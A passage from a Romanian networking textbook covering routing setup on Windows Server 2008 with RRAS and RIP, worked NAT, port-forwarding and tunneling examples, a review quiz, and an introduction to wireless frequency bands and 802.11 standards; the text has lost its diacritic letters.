Soluiile software pentru rutare reprezint o alternativ viabil pentru cazurile n care nu
este necesar implementarea unor soluii dedicate: izolarea a mici segmente de reea sau
folosirea serverului ca gateway spre Internet pentru o reea local de mici dimensiuni. n cazul
n care Windows Server 2008 este instalat pe un sistem cu rol de gateway, exist opiunea de a
rula i serviciul de NAT (Network Address Translation) pentru a oferi conectivitate n exterior
unei reele care folosete adrese private printr-o singur adres public.
Principiul de funcionare a procedeului de rutare n Windows Server 2008 este acelai ca i
n cazul echipamentelor dedicate: deciziile sunt luate pe baza rutelor din tabela de rutare. n
plus, serviciul de Routing and Remote Access poate fi configurat att pentru rute statice ct i
pentru rute dinamice, obinute prin intermediul unui protocol de rutare. Intruct Windows
Server 2008 este conceput ca o soluie de rutare pentru reele de dimensiune mic, protocolul
de rutare suportat este RIP (Routing Internet Protocol).
Pentru a putea folosi serviciul de rutare n Windows Server 2008 este necesar adugarea
acestuia ca rol al serverului, din Server Manager. Pentru aceasta, de la linkul Add roles se
selecteaz Network Policy and Access Services. n continuare, nainte de instalare, se ofer
opiunea de a selecta subcomponente ale acestui rol. Pentru rutare este necesar selectarea
Routing and Remote Access Services, cu ambele sale componente: Remote Access Service i
Routing (figura 4-6).


4-6: Instalarea serviciului de Routing and Remote Access Services
Pentru a putea configura rutarea prin RRAS trebuie activat nti serviciul. Acestea pot fi
realizate prin consola Server Manager. Dup instalare, Routing and Remote Access poate fi
gsit sub Network Policy and Access Services n cadrul rolurilor serverului.
Configurarea iniial i pornirea serviciului se face prin selectarea Routing and Remote
Access i accesarea meniului More Actions din panoul de aciuni urmat de alegerea opiunii
Configure and Enable Routing and Remote Access.
Atenie, nu se poate activa sau configura serviciul de rutare pe Windows Server 2008 att
timp ct maina pe care este instalat serviciul realizeaz partajarea unei conexiuni la Internet.
nainte de a porni configurarea conform descrierii de mai sus, trebuie dezactivat ICS (Internet
Connection Sharing) pentru toate conexiunile, din interfaa Network Connections.
152 | R e e l e L o c a l e


4-7: Configurarea RRAS
Printre opiunile diponibile iniial se enumer configurarea VPN sau NAT. Pentru
configurarea rutrii se va alege opiunea Custom Configuration (figura 4-7).
n continuare, din meniul Custom Configuration se alege LAN routing (figura 4-8).

4-8: Activarea rutrii
Pentru ca rutarea s se poat realiza, un server trebuie s aib conectivitate de nivel 3 cu
toate reelele n care are cte o interfa deja configurat. De aceea, dup conceperea
schemei de adrese ce va fi implementat, trebuie configurat fiecare interfa de reea ce va
interveni n procesul de rutare cu cte o adres static din subreeaua corespunztoare ei,
mpreun cu masca de reea adecvat. De asemenea, staiile din reelele interconectate de
ctre server trebuie s aib interfaa acestuia, cea care se afl n aceeai subreea cu
respectiva staie, configurat ca default gateway pentru a putea comunica n afara reelei
proprii. Configurarea static a parametrilor de reea, att pentru IPv4 ct i pentru IPv6 se face
din fereastra de proprieti a fiecrei conexiuni, dup cum s-a explicat n seciunea 3.4.4.
Lista interfeelor, a tipurilor conexiunilor i a strilor lor pot fi vizualizate din Server
Manager, n cadrul rolului Routing and Remote Access, selectnd Network Interfaces (figura
4-9).
153 | R u t a r e a n I n t e r n e t


4-9: Starea interfeelor de reea din sistem
Pentru a afia informaiile de nivel 3, mpreun cu statistici de trafic pentru fiecare
interfa i mai multe detalii despre starea conexiunilor, se poate selecta General din cadrul
proprietilor de tip IPv4 sau IPv6, sub Routing and Remote Access (figura 4-10).


4-10: Starea configuraiilor IPv4 a interfeelor de reea
4.7.1.1 Configurarea rutelor statice
O rut static reprezint o rut introdus manual de ctre administrator, fix, ce nu
reacioneaz la schimbrile din topologie. n Windows, ea este definit prin:
o interfa, local serverului, pe care ruta va fi instalat;
o adres destinaie, care poate fi adresa unei staii sau adresa unei subreele;
o masc de reea, folosit mpreun cu adresa anterioar pentru a defini exact destinaiile
rutei;
un gateway, adic adresa dispozitivului care realizeaz conexiune intre reele. Interfaa
specificat ca gateway este cea care va primi pachetele ce vor utiliza aceast rut;
metric, o metod de a msura rutele i, n primul rnd, pentru a diferenia rute multiple
spre aceeai destinaie.

Pentru a crea o rut static se alege nti categoria, IPv4 sau IPv6 din cadrul rolului Routing
and Remote Access iar din panoul de aciune se alege More Actions > New Static Route
i se completeaz parametrii descrii mai sus.
Dup creare, rutele statice vor aprea listate la categoria corespunztoare (IPV4 sau IPv6),
pot fi editate prin dublu-clic i terse selectndu-le i apsnd Delete n panoul de aciuni. De
asemenea, rutele devin active imediat ce au fost configurate.

154 | R e e l e L o c a l e


4-11: Parametrii unei noi rute statice


4-12: Listarea rutelor statice
4.7.1.2 Configurarea rutrii dinamice
n vederea configurrii rutrii dinamice, Windows Server 2008 suport doar protocolul de
rutare RIP (Routing Internet Protocol), versiunea 2 (RIP v2). Windows Server 2003 suporta i
protocolul OSFP (Open Shortest Path First) dar acesta a fost eliminat din Windows Server 2008,
singura opiune pentru propagarea dinamic a rutelor rmnnd utilizarea lui RIP.
Protocolul RIP funcioneaz in felul urmtor : trimite tuturor vecinilor care ruleaz acelai
protocol ntreaga tabel de rutare la fiecare 30 de secunde, fiecare client actualizndu-i la
rndul su propria tabel de rutare dac apar modificri n datele primite de la vecini. Acest
mod de funcionare nu l face adecvat pentru infrastructuri mari, n care convergena rapid i
eficient este o cerin important. Totui, nici rutarea n software nu este recomandat n
aceste cazuri, deci pentru situaiile n care Windows Server 2008 se preteaz ca router, este
acceptabil i performana pe care o ofer RIP.
Pentru a aduga serverului protocolul de rutare RIP se urmeaz paii:
1. Se expandeaz unul dintre nodurile IP din cadrul Routing and Remote Access, din Server
Manager. Se poate alege att IPv4 ct i IPv6 pentru a propaga rute folosind RIP.
2. Se face clic dreapta pe General i se alege New Routing Protocol din meniu. La fel, opiunea
este disponibil i n panoul de aciuni. Este afiat o list asemntoare cu cea din figura
4-13).
155 | R u t a r e a n I n t e r n e t


4-13: Selectarea RIP v2 ca protocol de rutare
3. Se selecteaz RIP din list dup care este adugat automat un nou nod denumit RIP n cadrul
versiunii IP selectate. Selectarea lui RIP pentu IPv4, spre exemplu, nu va configura automat
folosirea RIP i pentru IPv6. Dac se dorete folosirea adreselor IPv6, RIP trebuie adugat
explicit pentru acestea.
4.7.1.2.1 Interfee RIP
Pentru ca RIP s poat funciona, trebuie s i se comunice pe ce interfee s ruleze. Mai
mult, toate setrile ulterioare care influeneaz comportamentul RIP-ului se fac la nivel de
interfa.
1. Avnd nodul RIP selectat (creat dup procedura descris mai sus), se poate face clic dreapta pe
acesta, alegndu-se opiunea New Interface (sau din panoul de aciuni) i se alege o interfa
pe care protocolul RIP va rula (figura 4-14).


4-14: Interfaa pe care va rula RIP
2. La apsarea butonului OK, este afiat fereastra de proprieti a interfeei selectate (figura
4-15).
3. Pagina de proprieti generale ofer posibilitatea selectrii versiunii de RIP folosite att n
mesajele acceptate ct i n cele trimise. Folosirea versiunii 1 implic o serie de limitri
suplimentare dar este necesar dac alte echipamente din reea o suport doar pe aceasta.
4. Pagina de securitate permite setarea unor parametri legai de acceptarea rutelor. Exist
posibilitatea de a accepta toate rutele, sau de a accepta sau ignora rutele dintr-un anumit
interval.
5. Setrile legate de vecinii cu care se efectueaz schimbul de rute includ posibilitatea de a folosi
mesaje multicast (implicit) sau a celor unicast pentru a contacta anumiti vecini (fie n locul
mesajelor multicast, fie mpreun cu ele).
6. Pagina de proprieti avansate permite modificarea unor parametri ca frecvena de trimitere a
actualizrilor, activarea sau dezactivarea unor faciliti ca split-horizon sau poison-reverse, etc.

156 | R e e l e L o c a l e


4-15: Proprietile unei intefee RIP
Dup validarea configurrii, interfaa va aprea n lista intefeelor active pentru RIP. Pot fi
adugate oricte alte interfee repetnd aceeai procedur.
Monitorizarea activitii de rutare se realizeaz din aceeai consol administrativ. Spre
exemplu, pentru a vizualiza o list a vecinilor care ruleaz RIP, se poate selecta nodul RIP din
una dintre categoriile IPv4 sau IPv6 i apoi se poate alege opiunea Show Neighbors. Starea
interfeelor incluse n procesul de rutare poate fi vizualizat prin nodul General din cadrul
protocolului IP corespunztor. De aici poate fi vizualizat tabela de rutare pentru fiecare
interfa, prin selectarea uneia i alegerea opiunii Show IP Routing Table din meniul
contextual.
157 | R u t a r e a n I n t e r n e t

4.8 Studii de caz
4.8.1 ncapsularea pachetelor: exemplificare port forwarding

4-16: ncapsularea pachetelor
n reeaua dat, pentru cele dou reele cu switchuri s-au folosit adrese private, astfel R1
i R3 vor asigura translatare de adres cu suprancrcare (PAT). Se va considera c tabelele
ARP din reea au fost configurate static pentru toate destinaiile. Descriei antetele pachetelor
aprute n reea n cazul n care A face o singur cerere HTTP ctre staia E.

Rezolvare:
Pentru topologia de mai sus principala problem o reprezint asigurarea accesibilitii
staiei E din exteriorul reelei private.
Dac ar fi fost disponibil un rezervor de adrese publice pentru a realiza translatarea de
adres, soluia ar fi fost implementarea SNAT (static NAT): definirea unei asocieri de
translatare pe routerul R3 ntre una dintre adresele publice din rezervor i adresa privat a lui
E. Pentru problema de fa, nu dispunem de adrese publice suplimentare, translatarea fiind
realizat prin suprancrcarea adresei publice <R3, e0>.
Routerul R3 asigur translatarea cu suprancrcare, singura opiune n acest caz fiind
implementarea port forwarding, adic crearea pe R3 a unei asocieri ntre perechea adres
public a lui R3, port i perechea adres privat a lui E i port. Spre exemplu, dac se dorete
rularea unui serviciu de web pe staia E, n serviciul de nume va fi publicat asocierea dintre
numele domeniului (fie acesta www.test.com) i adresa public a lui R3 (adic IP R3(e0)).
Apoi este definit pe R3 asocierea de translatare: <IP R3(e0), 80> <IP E, 80>. n acest
moment, orice cerere primit de R3 pe portul 80 nu va mai fi trecut ctre nivelul aplicaie
(inclusiv routerul ar putea rula un server de web local), ci va fi translatat i trimis ctre staia
E.
Revenind la problema de fa, datorit populrii statice a tabelelor ARP pentru toate
destinaiile nu vor mai exista pachete de cerere/rspuns ARP. Popularea static a tabelelor
158 | R e e l e L o c a l e

ARP este folosit n practic doar ca o metod de prevenire a unor atacuri *vezi cap 13+ *ref+,
dar datorit scalabilitii greoaie este rareori implementat.
Se presupune c n reea este folosit default gateway.
Switchurile vor comuta pachetele fr a le altera, n vreme ce fiecare router va opera cel
puin schimbarea antetului de nivel 2; astfel pachetul de la A la E va suferi 3 rescrieri.
1. Pachetul trimis de A ctre E (adic n afara reelei locale) va fi destinat la nivel 2
routerului de ieire, iar la nivel 3 adresei obinute n urma rezolvrii de nume, adic adresei
publice a lui R3. Pachetul fiind unul de cerere HTTP portul destinaie va fi 80:

MAC[A] MAC[R1(e0)] IP[R3(e0)] IP[A] 80 9494 date

2. Pachetul ajuns pe R1 va fi translatat, astfel c pe lng rescrierea antetului de nivel 2, se
vor rescrie cmpurile surs de nivel 3 i 4:

FFFF:FFFF:FFFF IP[R3(e0)] IP[R1(s0)] 80 43911 date

3. Ruterul R2 nu va realiza dect rescrierea antetului de nivel 2:

MAC[R3(e0)] MAC[R2(e0)] IP[R3(e0)] IP[R1(s0)] 80 43911 date

4. Ruterul R3 va realiza operaia efectiv de port forwarding:

MAC[E] MAC[R3(e2)] IP[E)] IP[R1(s0)] 80 13821 date

Implementarea port forwarding nu impune conservarea portului destinaie, altfel spus
staia E poate rula serverul de web pe orice alt port, iar translatarea va reflecta asocierea.
Dac serverul de web ar fi fost configurat s asculte pe portul 999 singura modificare fa de
analiza de mai sus ar fi definirea translatrii pe R3 (<IP R3(e0), 80> <IP E, 999>) i
antetul pachetului 4:

MAC[E] MAC[R3(e2)] IP[E)] IP[R1(s0)] 999 13821 date
4.8.2 ncapsularea pachetelor: exemplu de tunelare
Fie topologia din figur:

4-17: Exemplu de tunel
159 | R u t a r e a n I n t e r n e t

Ruterul A va asigura translatarea de adrese pentru ntreaga reea 10.1.1.0/24, iar routerul
B va tunela tot traficul din reeaua 201.9.4.0/24 i l va trimite prin interfaa sa virtual
tunnel0. Tunelul este stabilit ntre 194.2.4.6 i 194.2.1.1. n plus, rutarea este asigurat
folosind rute statice atfel: pe routerele A i D rutele sunt precizate prin adresa urmtorului
hop, iar pe B i C rutele sunt precizare doar prin interfaa de ieire.
Se consider c n urma unei pene de curent toate echipamentele sunt proaspt
reiniializate. Staia X va accesa un server de web aflat pe staia Z. Care vor fi antetele tuturor
cadrelor ce vor fi trimise n reea pentru a livra cererea emis de staia X la staia Z?

Pachetul de cerere web va trece prin 5 reele i pentru a fi livrat vor generate 13 cadre:
FFFF:FFFF:FFFF MAC[X] 10.1.1.1 10.1.1.12 Date

MAC[X] MAC[A(e0)] 10.1.1.12 10.1.1.1 Date

MAC[A(e0)] MAC[X] 114.5.1.7 10.1.1.12 80 55555 Date

FFFF:FFFF:FFFF MAC[A(e1)] 201.9.4.2 201.9.4.1 Date

MAC[A(e1)] MAC[B(e1)] 201.9.4.1 201.9.4.2 Date

MAC[B(e1)] MAC[A(e1)] 114.5.1.7 201.9.4.1 80 51311 Date

FFFF:FFFF:FFFF MAC[B(e0)] 194.2.1.1 194.2.4.6 Date

MAC[B(e0)] MAC[C(e0/6)] 194.2.4.6 194.2.1.1 Date

MAC[C(e0/6)] MAC[B(e0)] 194.2.1.1 194.2.4.6 114.5.1.7 201.9.4.1 Date

FF 194.2.1.1 194.2.4.6 114.5.1.7 201.9.4.1 Date

FFFF:FFFF:FFFF MAC[D(e7)] 114.5.1.7 114.5.1.1 Date

MAC[D(e7)] MAC[Z] 114.5.1.1 114.5.1.7 Date

MAC[Z] MAC[D(e7)] 114.5.1.7 201.9.4.1 Date

Dup primirea pachetului de date de la routerul A, routerul B trebuie s l trimit ctre
ieirea din tunel, i anume ctre adresa 194.2.1.1. Routerul B nu tie ns adresa IP a
urmtorului hop, ci doar interfaa de ieire prin care trebuie s trimit pachetul. De aceea, prin
interfaa Ethernet0 va emite inocent o cerere ARP pentru a afla adresa fizic
corespunztoare IP-ului 194.2.1.1. Routerul C, care ruleaz proxy ARP i d seama (prin
verificare cu masca de reea) c adresa IP destinaie pentru care B caut adresa fizic nu se
afl n aceeai reea i c cererea ARP nu va ajunge niciodat la 194.2.1.1, i de aceea i va
ntoarce lui B un rspuns ARP n care minte c adresa MAC corespunztoare ip-ului 194.2.1.1
este chiar adresa MAC a interfeei sale pe care a primit cererea (i anume e0/6). Pachetul
ajuns la C va conine adresele reale destinaie i surs ascunse n seciunea de date. Acest
pachet va transmis pe legatura serial pstrnd ca adresa IP surs intrarea n tunel i adres IP
destinaie ieirea din tunel (ca i cum C nu ar exista).


160 | R e e l e L o c a l e

ntrebri
1. Existena unei intrri n tabela de rutare de forma 141.85.37.0/24 141.85.254.37
nseamn:
trimite toate pachetele venite din reeaua 141.85.37.0/24 ctre 141.85.254.37
trimite toate pachetele venite ctre reeaua 141.85.37.0/24 ctre 141.85.254.37
trimite toate pachetele venite din reeaua 141.85.37.0/24, sau din orice alt subreea
cuprins n acest spaiu de adrese, ctre 141.85.254.37
trimite toate pachetele venite ctre reeaua 141.85.37.0/24, sau ctre orice alt
subreea cuprins n acest spaiu de adrese, ctre 141.85.254.37

2. Decizia de a ruta sau nu un pachet se bazeaz pe:
Adresa surs
Adresa destinaie
Adresa surs i portul surs
Adresa destinaie i portul destinaie

3. Fie tabela de rutare de mai jos:
Adres reea Masc Next hop Interfa
194.230.85.0 /26 172.17.0.9 E0
200.230.85.128 /26 - S0
194.230.85.0 /24 194.230.5.65 E1
i o nou rut: 199.230.5.0/30 S1. Noua rut va fi inserat pe:
prima poziie
dup prima rut deja existent
dup cea de a doua rut deja existent
ultima poziie n tabela de rutare

4. Ctre ce interfa va fi rutat un pachet destinat pentru 171.15.68.0 dac tabela de rutare
este cea de mai jos:
Adres reea Masc Next hop Interfa
171.15.63.0 /24 172.17.0.9 S0
171.15.64.0 /23 - S1
0.0.0.0 /0 194.230.5.65 S2
va fi trimis pe S0
va fi trimis pe S1
va fi trimis pe S2
nu va fi rutat

5. Fie dou routere. Primul are urmtoarele adrese asignate: 7.1.1.1/24 S0 i 7.1.3.1 S
1, al doilea 7.1.3.2/24 S0 i 7.1.2.1 S1. Care este numrul minim de rute ce trebuie adugat
pe routerul 1 pentru a asigura comunicaia ntre 7.1.1.0/24 i 7.1.2.0/24?
7.1.2.1 / 24 S1
tot ce e mai sus plus: 7.1.2.1 /24 S0
tot ce e mai sus plus: 0.0.0.0 /0 S1
doar: 0.0.0.0 /0 S1
161 | R u t a r e a n I n t e r n e t


6. Care dintre urmtoarele descrie cel mai bine convergena reelei?
cnd mesajele ating simultan un router i apare o coliziune
cnd mai multe routere ruteaz simultan pachete pe aceeai cale
cnd mai multe routere ntr-o reea au aceleai cunotine despre structura i topologia
reelei
cnd mai multe mesaje sunt trimise spre aceeai destinaie

7. Timpul cel mai redus de convergen l au:
protocoalele de rutare static
protocoale bazate pe vectori de distan
protocoalele bazate pe starea conexiunii
protocoalele de rutare inter-AS

8. Care este metrica folosit de RIP pentru determinarea cii optime?
numrul de routere pn la destinaie
ncrcarea limii de band
limea de band pn la destinaie
niciunul dintre rspunsurile de mai sus

9. Fie NET1, o reea direct conectat la un router. Acest router ruleaz RIP i OSPF i
primete de la un router adiacent n cadrul procesului de actualizare informaii despre NET1,
att prin RIP, ct i prin OSPF. Cte rute ctre NET1 vor fi n tabela de rutare la ncheierea
procesului de actualizare?
0
1
2
3

10. Care este metrica folosit de BGP?
numrul de routere pn la destinaie
ncrcarea limii de band
limea de band pn la destinaie
niciunul dintre rspunsurile de mai sus


162 | R e e l e L o c a l e

5 Wireless
The wireless telegraph is not difficult to understand. The ordinary telegraph is like a very
long cat. You pull the tail in New York, and it meows in Los Angeles. The wireless is the same,
only without the cat.
Albert Einstein
Ce se nva din acest capitol?
Funcionarea tehnologiei wireless la nivel fizic
Standardele wireless pentru reele locale
Implementarea reelelor wireless
Securitatea n mediul wireless
Configurri pentru reele wireless n Linux
Configurri pentru reele wireless n Windows
Cine este...
Nikola Tesla este un inventator i un om de tiin n domeniul electricitii. Mai muli
biografi contemporani l consider pe Tesla omul care a inventat secolul 20. Patentele i
descoperirile teoretice ale lui Tesla au format baza sistemelor de curent electric alternativ.
n 1893 a demonstrat pentru prima oar posibilitatea comunicaiei fr fir (unde radio).
Este considerat descoperitorul comunicaiei fr fir.
5.1 Introducere n reele wireless
5.1.1 Introducere n comunicarea wireless
Pe fondul unei nevoi de mobilitate i conectivitate din ce n ce mai crescute, comunicaia
fr fir a nregistrat o explozie fulminant n ultimii ani. Rspndirea dispozitivelor mobile
(calculatoare notebook, PDA-uri sau smartphone-uri) este cea care a condus n mare msur la
dezvoltarea tehnologiilor de comunicaie fr fir, fr a fi ns singurul motor. Tendina de
migrare spre digital pentru o gam din ce n ce mai larg de dispozitive genereaz de
asemenea o nevoie de interconectare crescut. Pentru acestea, perspectiva comunicaiei fr
fir este foarte atrgtoare. Motivele principale sunt mobilitatea crescut i reducerea
costurilor pentru dezvoltarea infrastructurii. Dei n trecut securizarea unei reele wireless se
dovedise a fi o provocare la care organizaiile de standardizare nc nu rspunseser, n
prezent exist mai multe protocoale standardizate care pot oferi o securitate sporit.
Cu toate acestea, tehnologia wireless nu are rolul s o nlocuiasc pe cea cu fir, ci mai
degrab s o completeze. Motivul principal este limea de band: n timp ce Ethernet-ul a
ajuns s ofere 10 Gbps, tehnologiile wireless actuale nu depesc 54 Mbps (600 Mbps n cazul
tehnologiilor n curs de standardizare).
n plus, datorit utilizrii switchurilor, tehnologia Ethernet asigur o comunicaie full-
duplex. Cu alte cuvinte, dac zece staii cu plci Ethernet de 10 Mbps sunt conectate n acelai
switch i switchul are o capacitate de comutare destul de mare, fiecare staie va putea avea
garantat, banda de 10Mbps n reeaua local. De partea cealalt, standardul wireless permite
unei singure staii s transmit la un moment dat. Aceasta este o limitare a mediului fizic i a
proiectrii tehnologiei, deoarece, n reele wireless, un dispozitiv folosete aceeai frecvena a
semnalului si pentru transmisie si pentru recepie. Este important de reinut faptul c n reele
wireless, banda maxim se mparte la numrul de staii.
163 | W i r e l e s s

5.1.2 Considerente de nivel fizic
5.1.2.1 Mediul fizic
Baza fizic pentru comunicaia fr fir o reprezint undele electromagnetice, folosite n
frecvenele cele mai potrivite pentru transmisii de date. Mediul fizic de propagare al undelor
electromagnetice nu este de fapt necesar, cci un semnal wireless se poate propaga fr
probleme i n vid (de aceea cldura i lumina soarelui ajung pe Pmnt). Cnd vorbim despre
comunicaia de date, principala proprietate a undelor este frecven. Funcie de frecvena pe
care o tehnologie funcioneaz, se poate determina calitatea semnalului n atmosfer,
interferena cu alte dispozitive, distana de propagare a semnalului i chiar i limea de
band. n figura de mai jos este reprezentat spectrul electromagnetic din punctul de vedere al
utilizrii undelor de diverse frecvene n comunicaii:

Unde
Audio



Unde radio



Microunde







Infra-
roii







Ultra-
violete


Raze
X







Raze
Gama








Lumin vizibil
4 3 0 T H z - 7 5 0 T H z
3 KHz 3 GHz 3 THz 300 PHz 30 EHz

5-1: Benzi de frecven
Frecvenele folosite n reele de calculatoare pentru transmisiile wireless se afl n
intervalele de 2.4 - 2.4835 GHz, 5,725 - 5,850 GHz i recent adugatul interval de 5.47 - 5.725
GHz. Deci undele electromagnetice prin care se propaga semnalul wireless n comunicaii de
date, sunt unde radio de nalt frecven i microunde.
n folosirea undelor electromagnetice pentru transmisii de date, trebuie avute n vedere
urmtoarele considerente fizice:
Undele electromagnetice nu sunt clar delimitate din punct de vedere al propagrii, precum
este semnalul de pe un cablu de cupru protejat de un izolator. Orice dispozitiv care ascult
mediul i este n raza de propagare, poate recepiona semnalul wireless. Acesta este un
considerent de securitate foarte important.
Undele electromagnetice nu sunt protejate de semnale exterioare, precum este semnalul de
pe un cablu de cupru protejat de un izolator. Odat cunoscut frecvena de transmisie a unei
reele wireless, administratorul de reea trebuie s fie contient de alte dispozitive sau
tehnologii ce funcioneaz n aceeai frecven.
Semnalul wireless se atenueaz odat cu propagarea prin mediul fizic. Atenuarea poate
interveni din mai multe cauze:
o absorbirea semnalului n atmosfer
o efecte termodinamice cauzate de cldur sau umiditate sporit
o interferene cu alte semnale
o reflexia parial a semnalului pe suprafeele diferitelor materiale de construcie
Din considerente legale, nu se poate transmite n spectru pe o anumit frecven, fr a avea
licen pe acea frecven. O reea wireless, ar fi greu de implementat att din punct de vedere
birocratic, ct i din punct de vedere al propagrii n popularitate a tehnologiei, dac fiecare
utilizator, atunci cnd i-ar cumpra un router wireless, ar trebui s plteasc i pentru
licenierea unei benzi de frecven n care s transmit. n afar de acest aspect, frecvena
164 | R e e l e L o c a l e

dispozitivelor wireless trebuie s fie aceeai n toat lumea reelelor de calculatoare, pentru ca
tehnologia s fie compatibil.
5.1.2.2 Benzile ISM i UNII
Pentru a efectua o transmisie wireless este nevoie de licen din partea unei autoriti.
Spre exemplu, statul romn a acordat licen postului de radio Europa FM s transmit n
banda de 106,7 MHz pe teritoriul oraului Bucureti. Orange i Vodafone au licen pentru a
efectua transmisii n benzile: 890 MHz 960 MHz respectiv 1710 MHz 1880 MHz.
Exista totui o metod de a efectua transmisii fr licen: transmisia n una dintre benzile
ISM (Industrial, Scientific and Medical) sau UNII (Unlicensed National Information
Infrastructure). S-a czut de acord c la nivel internaional aceste benzi s nu fie liceniate,
astfel nct s poat fi utilizate de oricine. Drept consecina, nu este nevoie de licen pentru a
aciona telecomanda de la alarm, pentru a utiliza telefonul cordless, sau pentru a folosi un
mouse sau o tastatur wireless. Toate acestea opereaz n una dintre benzile ISM sau UNII.
Pentru a elimina necesitatea obinerii unei licene pentru utilizarea reelelor wireless, i
acestea funcioneaz n aceste benzi. Exist dou benzi ISM de interes pentru tehnologia
wireless: 2,4 GHz 2,4835 GHz i 5,725 GHz 5,850 GHz. Din 2004, odat cu standardul
802.11h, s-a adugat i banda UNII de 5.47 - 5.725 GHz. Aceasta nou band va fi discutat
mai trziu n capitolul de comunicare wireless [5.1.6.3]
Not: La nceputurile tehnologiei wireless, se folosea i frecvena de 900 MHz. ns, din
cauza faptului c doar cteva ri utilizau ofereau posibilitatea de utilizare fr licen, banda
a fost retras.
Faptul c se lucreaz n benzile ISM aduce ns dup sine o constrngere: n aceste benzi
este limitat legal posibilitatea de a transmite un semnal de putere mare. Scopul acestei
msuri este de a limita distana maxim de transmisie n vederea reducerii interferenei ntre
echipamentele diverilor utilizatori. Astfel, raza de funcionare a reelelor wireless este
limitat prin lege.
5.1.2.3 Frecvena 2.4 GHz vs 5 GHz
De la apariia primelor tehnologii wireless, soluiile existente se mpreau ntre banda de
2.4 GHz i banda de 5 GHz. Fiecare dintre acestea ofer avantaje i dezavantaje de
implementare i funcionalitate. Diferenele dintre benzi se reduc de fapt la diferenele ntre
transmisiile n frecven nalt i cele n frecvena joas. n cele ce urmeaz, se va realiza o
comparaie ntre cele dou i se va sfri prin a desemna banda cea mai utilizat n prezent i
motivele din spatele adoptrii acesteia.

Distana de propagare
Undele de frecvena joas sunt absorbite foarte puin n atmosfer, de aceea ele pot
strbate distane foarte mari. Cu ct crete frecvena unei unde, cu att aceasta este absorbit
mai mult n atmosfer. De asemenea, undele joase prezint o capacitate de penetrare a
materialelor foarte mare, fiind cu att mai potrivite pentru transmisiile de date. Spre
deosebire de acestea, undele de frecvene mari tind s sufere reflexii i refracii pe diverse
suprafee.
Concluzionnd, dac se folosete banda de 2.4 GHz, absorbia n atmosfer o s fie mai
mic, reflexia semnalului de asemenea, deci distana posibil de propagare o s fie mai mare.

Limea de band
165 | W i r e l e s s

Folosind o frecvena mai mare obinem o cretere aproximativ liniar a limii de band.
Spre exemplu, folosirea benzii de 900 MHz oferea o band de 860 Kbps. Odat cu trecerea la
2.4, banda teoretic a ajuns la valoarea de 2 Mbps.

Interferene cu alte tehnologii
Din nefericire, banda de 2,4 GHz a ajuns s fie destul de aglomerat. n aceast band
opereaz Bluetooth, perifericele wireless, telecomenzile i alte dispozitive cu care vor aprea
inevitabil interferene. Banda de 5 GHz este destul de puin ocupat ns dezavantajul este
absorbia mai mare a semnalului n mediul fizic.

Costul echipamentelor
Costul echipamentelor ce funcioneaz in banda de 5 GHz sunt sensibil mai scumpe dect
cele din banda de 2.4 GHz. Acesta a fost i unul din motivele pentru care tehnologia de 2.4
GHz a ctigat teren pe piaa wireless.
Tabelul de mai jos sintetizeaz proprietile undelor, prezentate pn acum:

Criteriu/Frecven Frecvene mici Frecvene mari
Distan mare mic
Lime de band mic mare
Interferene mari mici
Cost mic mare
5-2: Proprietile undelor electromagnetice
Frecvena cel mai des utilizat n prezent n reelele de date este cea de 2.4 GHz. Dei mult
mai aglomerat, aceasta s-a bucurat de mult suport din parte third-parties precum Centrino
sau WI-FI Aliance. Componenta de business a monopolului benzii de 2.4 GHz va fi discutat n
urmtoare seciune.
5.1.3 Standarde pentru reele locale (WLANs)
5.1.3.1 Standardul 802.11b
Lansat n 1999, 802.11b este al doilea protocol ca i popularitate n zilele noastre.
Opereaz n banda ISM de 2,4 GHz i atinge o band de 11 Mbps. 802.11b este performerul la
capitolul raz a reelei: pentru c opereaz la o frecven mic, aceasta poate ajunge la cteva
sute de metri i penetra pn la 4-5 perei de beton folosind echipamente convenionale.
La capitolul interoperabilitate cu alte standarde, un echipament 802.11b poate comunica
cu unul 802.11g, dar nu cu unul 802.11a. Dei acest standard a aprut odat cu 802.11a, a
reuit s se impun prin preurile echipamentelor mai sczute i prin suportul pe care l-a
primit din partea Wi-Fi Alliance
1
. La apariia 802.11b, organizaia a realizat un nou brand pe
care l-a popularizat i l-a promovat, oferind standardului numele de Wi-Fi. De asemenea au
fost create i stickere speciale care indicau dac un dispozitiv este sau nu compatibil cu acest
standard.
Dezavantajul major ine, ns, de band: 11 Mbps este destul de puin i, revenind la
discuia cu banda real ce se mparte ntre staii, se poate spune c 802.11b nu se preteaz la
reele mai mari.

1
Wi-Fi Alliance este un consoriu format din peste 300 dintre cele mai mari companii din domeniul IT,
avnd ca scop promovarea i dezvoltarea tehnologiilor wireless.
166 | R e e l e L o c a l e

Se mai folosete 802.11b? n general, astzi, nu prea mai exist pe pia echipamente
exclusiv 802.11b ci doar 802.11b/g. Mai poate fi ns folosit de ctre dispozitive care au nevoie
de acoperire mare i nu de lime de band. O serie de sisteme embedded intr n aceast
ultim categorie.
5.1.3.2 Standardul 802.11a
Dei a aprut ca standard n acelai timp cu 802.11b, echipamentele 802.11a nu au aprut
pe pia dect spre sfritul anului 2000. 802.11a este singurul din familia de protocoale
WLAN, care opereaz n frecvena de 5 GHz, oferind o lungime de band de 54 Mbps. Pentru a
putea oferi o vitez mai bun dect Wi-Fi la o frecven mai mare, standardul folosete o
modulare avansat a undei purttoare de semnal, numit OFDM (Orthogonal Frequency
Division Multiplexing). Prin intermediul acesteia, microundele se compun ntr-un mod
nedestructiv n aer ocupnd mult mai eficient banda oferit de canalul fizic ntr-un interval
msurat de timp. Crescnd cantitatea de informaie util pe secund, crete i limea de
band pe care tehnologia o pune la dispoziie.
Avantajele standardului 802.11a sunt, n primul rnd, limea de banda i lipsa
interferenelor.
Prile mai puin bune ale tehnologiei sunt tocmai urmarea faptului c se opereaz la
frecvene foarte mari. La 5 GHz se afl microundele ce au o lungime de und de doar 6 cm.
Astfel de unde se absorb foarte uor n aer i se reflect pe diverse suprafee, neputnd
penetra uor materialele. O consecina interesant a acestei proprieti fizice, este folosirea
acestui standard n medii n care se dorete o securitate sporit la nivel fizic. n general este
destul de greu s se asigure controlul propagrii undelor electromagnetice, dar dac reeaua
trebuie amplasat ntr-un amfiteatru n care suprafeele pereilor au un grad de reflexie mare,
se prefer standardul 802.11a pentru o mai bun izolare a semnalului la nivelul ncperii.
5.1.3.3 Standardul 802.11g
Pn la apariia 802.11g, foarte mult lume folosea 802.11b. Lansat n 2002, 802.11g
combin avantajele 802.11a (banda de 54 Mbps) cu avantajele 802.11b (raz mare de
acoperire). Astfel, 802.11g opereaz n banda ISM de 2,4 Ghz i folosete OFDM pentru
atingerea ratei de transfer de 54 Mbps.
